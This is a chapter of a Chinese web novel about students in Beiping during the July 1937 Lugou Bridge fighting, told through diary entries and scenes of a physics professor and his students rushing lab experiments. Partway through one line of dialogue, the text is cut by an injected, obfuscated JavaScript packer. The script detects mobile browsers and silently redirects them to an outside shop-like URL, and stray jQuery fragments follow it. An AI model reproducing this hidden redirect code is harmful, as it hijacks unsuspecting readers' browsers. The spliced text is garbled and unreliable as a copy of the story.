20. 镜花水月的胜利
作品:《民国求学记》 “校公告栏里被人偷偷贴了几张红党的公告,号召大家不再相信谈判,要抓紧修建防御工事,做好抗战准备,联合起来顽强抵抗。”
“夜里,祝姐姐一直在断断续续地喘息着,我很害怕,我用丝巾的一端绑在她有些浮肿的手腕上,另一端系在我的手腕上,这样发生什么事的话我就能及时醒过来。”
民国二十六年七月十日,晴。
“今日炮声变得零星了起来,听说前线依旧在谈判。”
“电话里一会说和谈住了,一会炮声却又响了起来,反反复复了三、四次,使得大家都很疲惫。”
“晚上,我们在地窖子里开了一个劳军募集会,袁老师拿了一个匣子放在了正中央,大家都很积极地走了过去。”
“祝姐姐让我将她手上的手表取下来放进去,我把我的手表也取了下来,又把放在腰间暗袋里的五十块法币拿出来,一起投了进去。”
“城门依旧没有开,祝姐姐的脚变得十分浮肿。”
民国二十六年七月十一日,晴。
“听说今日两方代表在津市又和谈住了,政府答应交出走失士兵的责任人,退出交战区域,将卢沟桥交给东洋人的保安队接管。”
“白纸黑字的签了字,果然很快炮声就停了。”
“听到了协议的内容,大家都很沮丧,东洋人无端挑衅,战死了那么多驻军,得到这种结果,还不如直接打到底。”
“叶梦兰说,这种丧权辱国、割肉喂狼的协议真的是太蠢了。”
“只是金陵方面的饮鸠止渴之举。”
“我觉得她说的很对。”
“东洋人既然已经决定一战,所谓的和谈便只不过是为了增强他们实力的拖延之策。”
“而北平的驻军前面吊着和谈这根胡萝卜,便没有了和东洋人破釜沉舟、决一死战的决心。”
“此消彼长,对战局很是不利。”
“叶梦兰听了我的分析,很是吃惊,她说没想到我还有行军打仗的才智。”
“不过因为和谈成功,城门开了,叶师兄回来了。”
“公车都已经停运,叶师兄借了一辆校车将已经起不来身的祝姐姐送到了北平城里的德国医院里。”
“这个决定很明智,不到三个小时,城门就又关了。”
“孟教授决定不再到城里去,他觉得谈话没有任何意义。”
“他又钻到了实验室里,他说战争不知道要持续多久,早日把实验做出来才安心。”
“我也去了,宛平城是驻军的战场,我想实验室也是我们的战场。”
“晚上,炮声又响了起来,更加的密集,更加的逼近。多可笑啊,被华国人弹冠相祝,许诺无数条件的和平只维持了四个小时。”
“听说,这四个小时其实是东洋人向卢沟桥增兵的时间。”
民国二十六年七月十一日,晴。
“外面的街面上被炮炸了几下,明华大学里面还算平静,校警严令我们不许出校。”
“东洋人已经占据了廊坊各处,架起大炮向宛平城内民居轰炸着。”
“头顶上一直盘旋着轰炸机。”
“叶梦兰说它们在侦查。”
“我多想能有架我们自己的飞机将这些可恶的铁疙瘩撞下去啊。”
“大家都不再提起谈判了,似乎都意识到了这件事的可笑。”
“然而我们心中的愤怒却燃烧的更加热烈!”
“知行,醒醒。”
梦中连绵不断的炮火声终于止住了,柳知行猛然睁开眼睛。
“我睡一会,你盯着。”胡子拉碴的孟崇德简短地对她说道,然后倒在了里面的行军床上,眼睛一闭就睡着了。
“好”
柳知行呆呆地应着,她从行军床上坐了起来,揉了揉眼睛,实验室的白大褂皱巴巴地卷在她的身上。
柳知行拿起漱口杯走到实验室外的水龙头前,刷牙洗漱。
炮火声、枪声、轰炸机的嗡嗡声隐隐约约地穿过实验室前那些郁郁葱葱的草木传进柳知行的耳中。
柳知行怔怔地听了一会,然后猛地拍了拍脸,振奋起了精神。
她走进实验室里,开始继续调试设备、记录实验数据,指尖和掌心被实验器材磨的红肿发亮。
本来孟教授还有几名研究生,但暑假开始,大家都家去了。
所以此刻只有她和孟教授顶在这里。
两人日夜不休地做着实验,谁顶不住了就去睡一觉,吃的喝的全都是由校工送进来。
“萝卜丝饼,萝卜丝汤,萝卜丸子。”望着桌子上的饭盒,柳知行苦中作乐地笑了。
“今天依旧是萝卜开会!”
市面上能买到的新鲜肉菜都被大家送到前线去劳军了,只剩下学校储存的一些萝卜,想到能让前线的驻军吃的更好,柳知行吃萝卜吃的乐在其中。
吃完之后,她就顶着大大的黑眼圈继续开始做实验。
他们要将三个月的实验进度尽快赶完。
不知做了多久,孟崇德醒了,和她一起接着做了起来,两人这些天里已经配合的极为默契了。
一句话都不用说,也可能是两人已经疲倦的一句话都说不出来。
忽然,实验室的门被推开了,瘦了一圈的叶致和一边套着实验服一边走了进来。
柳知行抬起头,呆呆地看了他一眼,又低下头继续画着点。
过了一会,又抬起头来。
“叶师兄,你怎么回来了!祝姐姐呢?”柳知行跳了起来。
电话线已经断了好几天了。
“余音还在德国医院休养。”叶致和看上去也很是憔悴,他努力地笑了笑。
“十二号的时候,她生了一个男孩子。”
比预产期早了快一个月,尽管祝余音被抬上板车拉走的时候,柳知行的心里就有了些准备,此刻依旧红了眼眶。
“祝姐姐身体怎么样?”她吸了吸鼻子,问道。
“难产,打了一天一夜的催产素,最后剖腹产将孩子取了出来。”叶致和也很是庆幸,当日没有就近去一家私人医院,而是当机立断地直奔D国医院。
D国医院是全北平唯一一家能做剖腹产手术的医院。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17411923|200573||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
祝姐姐受大罪了。”柳知行喃喃道。
“致和,那你怎么这时候过来了?”听着两人的谈话,孟崇德皱着眉头,不解地问道。
“余音说,害怕局势有变。”叶致和苦笑了一下。
“她有父母照顾着,让我回来继续做实验。”
孟崇德沉默了,良久,他才有些艰涩地张开了口。
“余音,唉”
听着外面隆隆的炮声,大家都明白那句“局势有变”是什么意思。
“今天是多少号了?”过了一会,孟崇德沉思着问道。
柳知行想了想,茫然地摇了摇头,她已经在实验室里待得早就已经没有时间观念。
“二十号,已经开战十三天了。”叶致和回答道。
“知行,既然致和回来了,你就先回去休整一下吧,明早再过来。”看着柳知行眼下的青紫,孟崇德思索着交待道。
“我也要回去一趟,看看家里。”他叹了口气。
接下来的几天,有了叶致和的加入,实验进度陡然加快了不少,胜利的曙光似乎就在眼前。
与此同时,随着谈判希望的破裂,二十九军调整了作战方向,前线的将士们英勇抵抗,后方开始大范围修建防御工事,成立城防司令部,战况一步步的好转。
民国二十六年七月二十七号,晴。
“喜报,喜报”
“三十六师力挫东洋人妄图自广安门外冲进北平的计划,歼敌众多,将士们正在往丰台和通州挺进,力争失地。”
很快,这个好消息就传遍了整个明华大学。
每个人见了面都喜气洋洋地讨论着。
而且不知道是否是大家的心理作用,总觉得今日头上东洋人的飞机似乎都少飞了几趟,变得垂头丧气了起来。
柳知行也喜滋滋地和叶梦兰讨论着,两人在自制的地图上比划着三十六军的行进方向,满是希望地看着那道黑色的线条向前方蔓延。
连关了好几日的城门都打开了。
明华大学的实验室里,在六只黑眼圈连轴转攻击下,孟教授也欣喜地宣布,漫射理论核心部分的实验终于全部做完了。
三人看着那几本厚厚的来之不易的实验数据都笑得傻乎乎的。
叶致和迫不及待地想要回城看祝余音,柳知行和他一起,她带上了那支绒花做成的精致花篮,准备送给祝余音。
自从双方开战的那天起,柳知行就没有出过校门了。
时隔二十天,再次踏出校门时,她坐在黄包车上,震惊地看着外面那满目疮痍的街道。
坑坑洼洼的炮坑,倒塌的民居,被挖断的路面,一层层堆得高高的沙包……
路边只有几家商铺卸了门板营着业,大家都挤在门口买着东西,时不时有些惊慌地看看天上。
黄包车夫跑的飞快,似乎也不想在这街道上停留,忽然一道昏沉的影子从柳知行的眼角闪过。
她猛地转过头看去。
明光食品店的大门被炸倒了一半,一个孩子仰靠在那片废墟上,他的一只眼睛被用一块白纱布或是毛巾一样的东西盖了起来。

